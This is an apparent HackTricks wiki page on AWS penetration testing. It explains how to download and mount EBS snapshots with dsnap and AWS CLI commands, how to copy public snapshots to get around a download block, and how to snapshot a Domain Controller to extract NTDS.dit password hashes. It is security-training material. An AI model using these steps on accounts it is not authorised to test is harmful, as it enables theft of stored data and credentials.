Skip to content

Latest commit

 

History

History
174 lines (117 loc) · 7.85 KB

aws-ebs-snapshot-dump.md

File metadata and controls

174 lines (117 loc) · 7.85 KB
Raw

AWS - EBS Snapshot Dump

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Checking a snapshot locally

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

{% hint style="danger" %} Note that dsnap will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: {% endhint %}

{% code overflow="wrap" %}

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

{% endcode %}

For more info on this technique check the original research in https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

You can do this with Pacu using the module ebs__download_snapshots

Checking a snapshot in AWS

{% code overflow="wrap" %}

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

{% endcode %}

Mount it in a EC2 VM under your control (it has to be in the same region as the copy of the backup):

Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes.

To be able to perform this action, follow these commands:

  • Create an EBS volume to attach to the EC2 instance.
  • Ensure that the EBS volume and the instance are in the same zone.

Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.

Step 3: The instance from the instance text box is to be selected.

To be able to perform this action, use the following command:

  • Attach the EBS volume.

Step 4: Login to the EC2 instance and list the available disks using the command lsblk.

Step 5: Check if the volume has any data using the command sudo file -s /dev/xvdf.

If the output of the above command shows "/dev/xvdf: data", it means the volume is empty.

Step 6: Format the volume to the ext4 filesystem using the command sudo mkfs -t ext4 /dev/xvdf. Alternatively, you can also use the xfs format by using the command sudo mkfs -t xfs /dev/xvdf. Please note that you should use either ext4 or xfs.

Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume".

To be able to perform this action, use the command sudo mkdir /newvolume.

Step 8: Mount the volume to the "newvolume" directory using the command sudo mount /dev/xvdf /newvolume/.

Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount.

To be able to perform this action, use the following commands:

  • Change directory to /newvolume.
  • Check the disk space using the command df -h .. The output of this command should show the free space in the "newvolume" directory.

You can do this with Pacu using the module ebs__explore_snapshots.

Checking a snapshot in AWS (using cli)

{% code overflow="wrap" %}

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

{% endcode %}

Shadow Copy

Any AWS user possessing the EC2:CreateSnapshot permission can steal the hashes of all domain users by creating a snapshot of the Domain Controller mounting it to an instance they control and exporting the NTDS.dit and SYSTEM registry hive file for use with Impacket's secretsdump project.

You can use this tool to automate the attack: https://github.com/Static-Flow/CloudCopy or you could use one of the previous techniques after creating a snapshot.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}